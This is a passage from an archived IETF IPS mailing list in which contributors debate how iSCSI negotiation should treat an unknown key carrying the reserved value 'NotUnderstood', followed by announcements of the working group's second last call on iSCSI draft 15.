"repeated use is a protocol violation," how is each side supposed to realize that they are seeing "OGMarker=NotUnderstood" for the second time, other than by remembering that it saw OGMarker as a not-understood key. i.e. by in addition to replying, "NotUnderstood", each side has to remember that it responded NotUnderstood to key foo. That seems unwise. I can think of at least one DoS attack if that really is what implementations do. Getting back to addressing the topic of the thread, what is wrong with this text, slightly modified from the I proposed in the first message? *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST be considered a protocol violation. *** As I said before, my main interest is the spec point out that if for a key you don't understand you get the value "NotUnderstood" (i.e. the other side is telling you it didn't understand a key that it turns out you also don't understand), you don't just answer "NotUnderstood". Either saying nothing, or considering it a protocol violation (since if we both didn't understand the key it should have never gotten into the negotiations) are both fine options. I now favor protocol violation as if neither side understood the key, it should not be there. If it's there, something is wrong. Take care, Bill From owner-ips@ece.cmu.edu Sat Aug 10 23:50:04 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA25098 for ; Sat, 10 Aug 2002 23:50:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B3XJ414890 for ips-outgoing; Sat, 10 Aug 2002 23:33:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B3XHo14885 for ; Sat, 10 Aug 2002 23:33:17 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 3924D30726; Sat, 10 Aug 2002 23:33:17 -0400 (EDT) Date: Sat, 10 Aug 2002 20:29:14 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Cc: , Subject: RE: Problem with use of NotUnderstood in negotiations In-Reply-To: <1BEBA5E8600DD4119A50009027AF54A00D6435B2@axcs04.cos.agilent.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Fri, 9 Aug 2002 pat_thaler@agilent.com wrote: > Bart, > > So the question is, in what order does a device do the checking. > > There are many possibilites for handling a received key that is > unknown and comes in with the value unknown: > > A) Check key > if key unknown, send key=NotUnderstood > else ...process key=value pair > > B) Check key > if key unknown > if value=NotUnderstood silently drop (or close connection) > else send key=NotUnderstood > > I expect case A is more likely to get implemented in the absence > of an explicit statement. There would normally be no need to > examine the value of a key when one doesn't understand the key. > In this case, the receiver never does a test that detects the > apparent protocol violation of making an offer with a value > NotUnderstood. Actually, reading the spec, it's worse than that. The spec says if you don't understand the key, you MUST answer NotUnderstood. Doesn't matter what the value is, "MUST" is in there. So it's arguable that while case A isn't what we want, it more closely conforms with the wording of the spec than does case B. The problem is that "strange_key=NotUnderstood" looks like two different protocol issues, we give no guidance as to which one is more important, and the different issues have different resolutions. One resolution has MUST attached to it that will lead to more trouble. > So, if we want to stop the loop that Bill has found, we should > put in an explicit requirement to test the value for NotUnderstood > before responding to a key with NotUnderstood. In my thoughts now, it's more we want a release from the MUST assosciated with keys we don't understand. I've changed my mind since I first posted. I now think the best thing to do is say if you get a key you don't understand and its value is NotUnderstood, you call it a protocol error. That way it doesn't matter if you look at the key or the value first, you arrive at a protocol error (and you sending nothing) either way. Take care, Bill From owner-ips@ece.cmu.edu Sun Aug 11 01:05:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA26276 for ; Sun, 11 Aug 2002 01:05:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B4ere17644 for ips-outgoing; Sun, 11 Aug 2002 00:40:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B4eqo17640 for ; Sun, 11 Aug 2002 00:40:52 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7B4ek7K038070; Sun, 11 Aug 2002 06:40:46 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7B4dtQk108886; Sun, 11 Aug 2002 06:40:15 +0200 To: Bill Studenmund Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: Problem with use of NotUnderstood in negotiations X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sun, 11 Aug 2002 07:39:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 11/08/2002 07:40:14, Serialize complete at 11/08/2002 07:40:14 Content-Type: multipart/alternative; boundary="=_alternative 00198538C2256C12_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00198538C2256C12_= Content-Type: text/plain; charset="us-ascii" Bill, My only intention in the note was to be brief. If you viewed that as rude I am really sorry. I have a lot of mail to reply to and a limited time. As for the crux of the matter - if one of the parties receives a key it has not seen before with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this. However we may want to strengthen the rule in 4 (and add another line of text) as follows: The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values). In the second part of my comment I was just saying that if you failed to implement the above check you still can't enter a loop because the double negotiation rule. To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously. The protocol is not designed to handle either. Julo Bill Studenmund 08/11/2002 06:11 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Problem with use of NotUnderstood in negotiations On Sat, 10 Aug 2002, Julian Satran wrote: > Bill, > > Perhaps the text is unabiguos but you just ignored the text that forbids > it. Julian, I must say that the tone above is very unbecoming of the author of a protocol spec. In the past, I've often gotten snippy comments from you, but written them off to, well, I'm not sure what. But it seems that you really don't listen to what I say. You read a message, make an interpretation, do not question that interpretation, and then you run with it. That's really bad. Besides being quite rude and exceedingly arrogant, you'll miss things. And the iSCSI spec will suffer for it. Do you think whatever is going on between us worth more than a bad iSCSI spec? I don't. Also, if you're going to say that the text is unambiguous, please quote said text. That makes the discussion much clearer. > The use of Notunderstood is limited to responses. Using it as you suggest > is a protocol error. Julian, I have to ask, what exactly do you think I'm suggesting? From parsing your sentence, I read that you are telling me that I'm suggesting using NotUnderstood outside its limited scope, of responses. As I understand the situation I described, both parties think they are using NotUnderstood as a response. How is using it as a response outside its use as a response? > A repeated use will also violate the "no renegotiation rule". Please be VERY VERY VERY careful when saying that. Have you thought about what the statement you just made will imply? We are (or at least I started) talking about the case where one side THOUGHT it sent key X, but somehow it was key Y that made it to the other side. Be it a bug in the code on one side or the other, a PCI bus error in transfer, a router glitch, or what. Key Y doesn't exist in the spec, and it's in the negotiation stream. OGMarker or DataPDPInOrder would be examples. The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't understand. Reading the spec, it succinctly states if you get a key you don't understand, you MUST reply "NotUnderstood". Getting back to the "repeated use is a protocol violation," how is each side supposed to realize that they are seeing "OGMarker=NotUnderstood" for the second time, other than by remembering that it saw OGMarker as a not-understood key. i.e. by in addition to replying, "NotUnderstood", each side has to remember that it responded NotUnderstood to key foo. That seems unwise. I can think of at least one DoS attack if that really is what implementations do. Getting back to addressing the topic of the thread, what is wrong with this text, slightly modified from the I proposed in the first message? *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST be considered a protocol violation. *** As I said before, my main interest is the spec point out that if for a key you don't understand you get the value "NotUnderstood" (i.e. the other side is telling you it didn't understand a key that it turns out you also don't understand), you don't just answer "NotUnderstood". Either saying nothing, or considering it a protocol violation (since if we both didn't understand the key it should have never gotten into the negotiations) are both fine options. I now favor protocol violation as if neither side understood the key, it should not be there. If it's there, something is wrong. Take care, Bill --=_alternative 00198538C2256C12_= Content-Type: text/html; charset="us-ascii"
Bill,

My only intention in the note was to be brief.  If you viewed that as rude I am really sorry.
I have a lot of mail to reply to and a limited time.

As for the crux of the matter - if one of the parties receives a key it has not seen before
with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this.
However we may want to strengthen the rule in 4 (and add another line of text) as follows:

The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values).

In the second part of my comment I was just saying that if you  failed to implement the above check you still can't enter a loop
because the double negotiation rule.

To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously.
The protocol is not designed to handle either.

Julo


Bill Studenmund <wrstuden@wasabisystems.com>

08/11/2002 06:11 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        <ips@ece.cmu.edu>
        Subject:        RE: Problem with use of NotUnderstood in negotiations

       


On Sat, 10 Aug 2002, Julian Satran wrote:

> Bill,
>
> Perhaps the text is unabiguos but you just ignored the text that forbids
> it.

Julian,

I must say that the tone above is very unbecoming of the author of a
protocol spec. In the past, I've often gotten snippy comments from you,
but written them off to, well, I'm not sure what. But it seems that you
really don't listen to what I say. You read a message, make an
interpretation, do not question that interpretation, and then you run with
it. That's really bad. Besides being quite rude and exceedingly arrogant,
you'll miss things. And the iSCSI spec will suffer for it. Do you think
whatever is going on between us worth more than a bad iSCSI spec? I don't.

Also, if you're going to say that the text is unambiguous, please quote
said text. That makes the discussion much clearer.

> The use of Notunderstood is limited to responses. Using it as you suggest
> is a protocol error.

Julian, I have to ask, what exactly do you think I'm suggesting? From
parsing your sentence, I read that you are telling me that I'm suggesting
using NotUnderstood outside its limited scope, of responses.

As I understand the situation I described, both parties think they are
using NotUnderstood as a response. How is using it as a response outside
its use as a response?

> A repeated use will also violate the "no renegotiation rule".

Please be VERY VERY VERY careful when saying that. Have you thought about
what the statement you just made will imply?

We are (or at least I started) talking about the case where one side
THOUGHT it sent key X, but somehow it was key Y that made it to the other
side. Be it a bug in the code on one side or the other, a PCI bus error in
transfer, a router glitch, or what. Key Y doesn't exist in the spec, and
it's in the negotiation stream. OGMarker or DataPDPInOrder would be
examples.

The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't
understand. Reading the spec, it succinctly states if you get a key you
don't understand, you MUST reply "NotUnderstood".

Getting back to the "repeated use is a protocol violation," how is each
side supposed to realize that they are seeing "OGMarker=NotUnderstood" for
the second time, other than by remembering that it saw OGMarker as a
not-understood key. i.e. by in addition to replying, "NotUnderstood", each
side has to remember that it responded NotUnderstood to key foo. That
seems unwise. I can think of at least one DoS attack if that really is
what implementations do.

Getting back to addressing the topic of the thread, what is wrong with
this text, slightly modified from the I proposed in the first message?

***
Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST
be considered a protocol violation.
***

As I said before, my main interest is the spec point out that if for a key
you don't understand you get the value "NotUnderstood" (i.e. the other
side is telling you it didn't understand a key that it turns out you also
don't understand), you don't just answer "NotUnderstood". Either
saying nothing, or considering it a protocol violation (since if we both
didn't understand the key it should have never gotten into the
negotiations) are both fine options. I now favor protocol violation as if
neither side understood the key, it should not be there. If it's there,
something is wrong.

Take care,

Bill

--=_alternative 00198538C2256C12_=-- From owner-ips@ece.cmu.edu Sun Aug 11 01:12:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA26398 for ; Sun, 11 Aug 2002 01:12:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B4n7L17959 for ips-outgoing; Sun, 11 Aug 2002 00:49:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B4n5o17954 for ; Sun, 11 Aug 2002 00:49:05 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 398453070A; Sun, 11 Aug 2002 00:49:05 -0400 (EDT) Date: Sat, 10 Aug 2002 21:45:02 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Julian Satran Cc: Subject: RE: Problem with use of NotUnderstood in negotiations In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Sat, 10 Aug 2002, Bill Studenmund wrote: > *** > Any key not understood by the acceptor may be ignored by the acceptor > without affecting the basic function. However, unless the value for the > key was "NotUnderstood", the answer for a key not understood MUST be > key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST > be considered a protocol violation. > *** New text. The point is to let us out of the MUST answer when we have what looks like a protocol negotiation error. *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. If the offered value consists of one of the reserved constants "Reject", "Irrelevant", or "NotUnderstood", the offer MUST be considered a protocol error and the acceptor SHOULD respond as if the same constant had been offered for a known key. Otherwise, the answer for a key not understood MUST be key=NotUnderstood. *** This way we get out of the MUST that we don't really want to obey, and those three constants give a protocol error either way you look at things. Take care, Bill From owner-ips@ece.cmu.edu Sun Aug 11 01:14:08 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA26445 for ; Sun, 11 Aug 2002 01:14:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B51pK18437 for ips-outgoing; Sun, 11 Aug 2002 01:01:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B51no18432 for ; Sun, 11 Aug 2002 01:01:49 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 3AD313070A; Sun, 11 Aug 2002 01:01:49 -0400 (EDT) Date: Sat, 10 Aug 2002 21:57:46 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Julian Satran Cc: Subject: RE: Problem with use of NotUnderstood in negotiations In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Sun, 11 Aug 2002, Julian Satran wrote: > Bill, > > My only intention in the note was to be brief. If you viewed that as rude > I am really sorry. > I have a lot of mail to reply to and a limited time. And my appologies if I saw rudeness that was not intended. > As for the crux of the matter - if one of the parties receives a key it > has not seen before > with NotUnderstood as value it MUST act on it as a protocol error. The > text is unambiguous on this. > However we may want to strengthen the rule in 4 (and add another line of > text) as follows: > > The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are > reserved and MUST ONLY be used as described here. Violation of this rule > is a protocol error (in particular the use of "Reject", "Irrele-vant", and > "NotUnderstood" as proposed values). Ok. That would work. Also see my proposed text that crossed this one in the mail. > In the second part of my comment I was just saying that if you failed to > implement the above check you still can't enter a loop > because the double negotiation rule. > > To get you in a loop in which every party think it answers - then either > both are buggy or somebody is altering the messages maliciously. > The protocol is not designed to handle either. But do we need to remember keys we didn't understand? I hadn't taken that away from the spec before now; I (and others, as evidenced by code :-) thought it was safe to just respond and be on with it. For the double-negotiation rule to catch it, we have to remember them. Is that really what we want? I have this unplesant image of one side wanting to try a whole lot of vendor keys (different vendors), and the other side being a simple negotiator and getting overwhelmed. Take care, Bill From owner-ips@ece.cmu.edu Sun Aug 11 02:09:04 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06406 for ; Sun, 11 Aug 2002 02:09:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B5eRG19922 for ips-outgoing; Sun, 11 Aug 2002 01:40:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B5ePo19917 for ; Sun, 11 Aug 2002 01:40:25 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7B5eIhh053664; Sun, 11 Aug 2002 07:40:19 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7B5eIDv128098; Sun, 11 Aug 2002 07:40:18 +0200 To: Bill Studenmund Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: Problem with use of NotUnderstood in negotiations X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sun, 11 Aug 2002 08:40:16 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 11/08/2002 08:40:17, Serialize complete at 11/08/2002 08:40:17 Content-Type: multipart/alternative; boundary="=_alternative 001E7013C2256C12_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001E7013C2256C12_= Content-Type: text/plain; charset="us-ascii" Bill, I am afraid you have to remember any key received just to avoid a rough initiator/target knowingly send noise. You may also want to terminate a session with too many "NotUnderstood". Julo Bill Studenmund 08/11/2002 07:57 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Problem with use of NotUnderstood in negotiations On Sun, 11 Aug 2002, Julian Satran wrote: > Bill, > > My only intention in the note was to be brief. If you viewed that as rude > I am really sorry. > I have a lot of mail to reply to and a limited time. And my appologies if I saw rudeness that was not intended. > As for the crux of the matter - if one of the parties receives a key it > has not seen before > with NotUnderstood as value it MUST act on it as a protocol error. The > text is unambiguous on this. > However we may want to strengthen the rule in 4 (and add another line of > text) as follows: > > The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are > reserved and MUST ONLY be used as described here. Violation of this rule > is a protocol error (in particular the use of "Reject", "Irrele-vant", and > "NotUnderstood" as proposed values). Ok. That would work. Also see my proposed text that crossed this one in the mail. > In the second part of my comment I was just saying that if you failed to > implement the above check you still can't enter a loop > because the double negotiation rule. > > To get you in a loop in which every party think it answers - then either > both are buggy or somebody is altering the messages maliciously. > The protocol is not designed to handle either. But do we need to remember keys we didn't understand? I hadn't taken that away from the spec before now; I (and others, as evidenced by code :-) thought it was safe to just respond and be on with it. For the double-negotiation rule to catch it, we have to remember them. Is that really what we want? I have this unplesant image of one side wanting to try a whole lot of vendor keys (different vendors), and the other side being a simple negotiator and getting overwhelmed. Take care, Bill --=_alternative 001E7013C2256C12_= Content-Type: text/html; charset="us-ascii"
Bill,

I am afraid you have to remember any key received just to avoid a rough initiator/target knowingly send noise.
You may also want to terminate a session with too many "NotUnderstood".

Julo


Bill Studenmund <wrstuden@wasabisystems.com>

08/11/2002 07:57 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        <ips@ece.cmu.edu>
        Subject:        RE: Problem with use of NotUnderstood in negotiations

       


On Sun, 11 Aug 2002, Julian Satran wrote:

> Bill,
>
> My only intention in the note was to be brief.  If you viewed that as rude
> I am really sorry.
> I have a lot of mail to reply to and a limited time.

And my appologies if I saw rudeness that was not intended.

> As for the crux of the matter - if one of the parties receives a key it
> has not seen before
> with NotUnderstood as value it MUST act on it as a protocol error. The
> text is unambiguous on this.
> However we may want to strengthen the rule in 4 (and add another line of
> text) as follows:
>
> The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are
> reserved and MUST ONLY be used as described here. Violation of this rule
> is a protocol error (in particular the use of "Reject", "Irrele-vant", and
> "NotUnderstood" as proposed values).

Ok. That would work. Also see my proposed text that crossed this one in
the mail.

> In the second part of my comment I was just saying that if you  failed to
> implement the above check you still can't enter a loop
> because the double negotiation rule.
>
> To get you in a loop in which every party think it answers - then either
> both are buggy or somebody is altering the messages maliciously.
> The protocol is not designed to handle either.

But do we need to remember keys we didn't understand? I hadn't taken that
away from the spec before now; I (and others, as evidenced by code :-)
thought it was safe to just respond and be on with it. For the
double-negotiation rule to catch it, we have to remember them.

Is that really what we want? I have this unplesant image of one side
wanting to try a whole lot of vendor keys (different vendors), and the
other side being a simple negotiator and getting overwhelmed.

Take care,

Bill

--=_alternative 001E7013C2256C12_=-- From owner-ips@ece.cmu.edu Sun Aug 11 02:11:48 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06466 for ; Sun, 11 Aug 2002 02:11:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B5rYe20441 for ips-outgoing; Sun, 11 Aug 2002 01:53:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B5rXo20437 for ; Sun, 11 Aug 2002 01:53:33 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 7E8CA3070A; Sun, 11 Aug 2002 01:53:32 -0400 (EDT) Date: Sat, 10 Aug 2002 22:49:29 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Julian Satran Cc: Subject: RE: Problem with use of NotUnderstood in negotiations In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Sun, 11 Aug 2002, Julian Satran wrote: > Bill, > > I am afraid you have to remember any key received just to avoid a rough > initiator/target knowingly send noise. > You may also want to terminate a session with too many "NotUnderstood". Ugh. Well, if that's the way we want to do it, then you're right that the no-double-negotiation rule will cover it, and your text you sent earlier is probably fine. Thanks for the input! Take care, Bill From owner-ips@ece.cmu.edu Sun Aug 11 17:44:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21939 for ; Sun, 11 Aug 2002 17:44:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7BL2Y106982 for ips-outgoing; Sun, 11 Aug 2002 17:02:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7BL2Vo06977 for ; Sun, 11 Aug 2002 17:02:32 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id OAA19035 for ; Sun, 11 Aug 2002 14:02:25 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Sun, 11 Aug 2002 14:02:24 -0700 Message-ID: From: Elizabeth Rodriguez To: "'ips@ece.cmu.edu'" Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th Date: Sun, 11 Aug 2002 14:01:49 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk All, We would like to announce IPS WG last call on the iSCSI draft. This is the second WG last call, and all comments from the first WG last call period should be addressed by this draft. (Note: Addressed means that all comments were considered, not necessarily accepted.) The last call period is for two weeks, ending at 5pm EST on Sunday, August 25th. Editorial comments may be directly sent to Julian Satran (Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com), David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com). Technical comments should be sent to the IPS mailing list for discussion. There are two versions of the document available: Text: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt PDF: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf The two documents should be identical, but the official version is the text version. Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs From owner-ips@ece.cmu.edu Mon Aug 12 11:42:52 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26545 for ; Mon, 12 Aug 2002 11:42:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7CF5UC06390 for ips-outgoing; Mon, 12 Aug 2002 11:05:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7CF5So06380 for ; Mon, 12 Aug 2002 11:05:28 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7CF5K7K015838 for ; Mon, 12 Aug 2002 17:05:20 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7CF5F4S037848 for ; Mon, 12 Aug 2002 17:05:20 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 Message-ID: From: "Julian Satran" Date: Mon, 12 Aug 2002 18:04:59 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 12/08/2002 18:05:20, Serialize complete at 12/08/2002 18:05:20 Content-Type: multipart/alternative; boundary="=_alternative 0052DAC5C2256C13_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0052DAC5C2256C13_= Content-Type: text/plain; charset="us-ascii" Dear All, As for the first WG Last Call you will find at: http://www.haifa.il.ibm.com/satran/ips A list of issues and their resolution and the "running version 16" in pdf and text. Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM ----- Elizabeth Rodriguez Sent by: owner-ips@ece.cmu.edu 08/12/2002 12:01 AM To: "'ips@ece.cmu.edu'" cc: Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th All, We would like to announce IPS WG last call on the iSCSI draft. This is the second WG last call, and all comments from the first WG last call period should be addressed by this draft. (Note: Addressed means that all comments were considered, not necessarily accepted.) The last call period is for two weeks, ending at 5pm EST on Sunday, August 25th. Editorial comments may be directly sent to Julian Satran (Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com), David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com). Technical comments should be sent to the IPS mailing list for discussion. There are two versions of the document available: Text: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt PDF: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf The two documents should be identical, but the official version is the text version. Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs --=_alternative 0052DAC5C2256C13_= Content-Type: text/html; charset="us-ascii"
Dear All,

As for the first WG Last Call you will find at:

http://www.haifa.il.ibm.com/satran/ips

A list of issues and their resolution and the "running version 16" in pdf and text.

Julo
----- Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM -----
Elizabeth Rodriguez <erodrigu@Brocade.COM>
Sent by: owner-ips@ece.cmu.edu

08/12/2002 12:01 AM

       
        To:        "'ips@ece.cmu.edu'" <ips@ece.cmu.edu>
        cc:        
        Subject:        IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu        st 25th

       


All,

We would like to announce IPS WG last call on the iSCSI draft.
This is the second WG last call, and all comments from the first WG last
call period should be addressed by this draft.
(Note:  Addressed means that all comments were considered, not necessarily
accepted.)

The last call period is for two weeks, ending at 5pm EST on Sunday, August
25th.
Editorial comments may be directly sent to Julian Satran
(Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com),
David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com).
Technical comments should be sent to the IPS mailing list for discussion.

There are two versions of the document available:
Text:  http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt
PDF:  http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf

The two documents should be identical, but the official version is the text
version.

Thanks,

Elizabeth Rodriguez & David Black,
IPS co-chairs

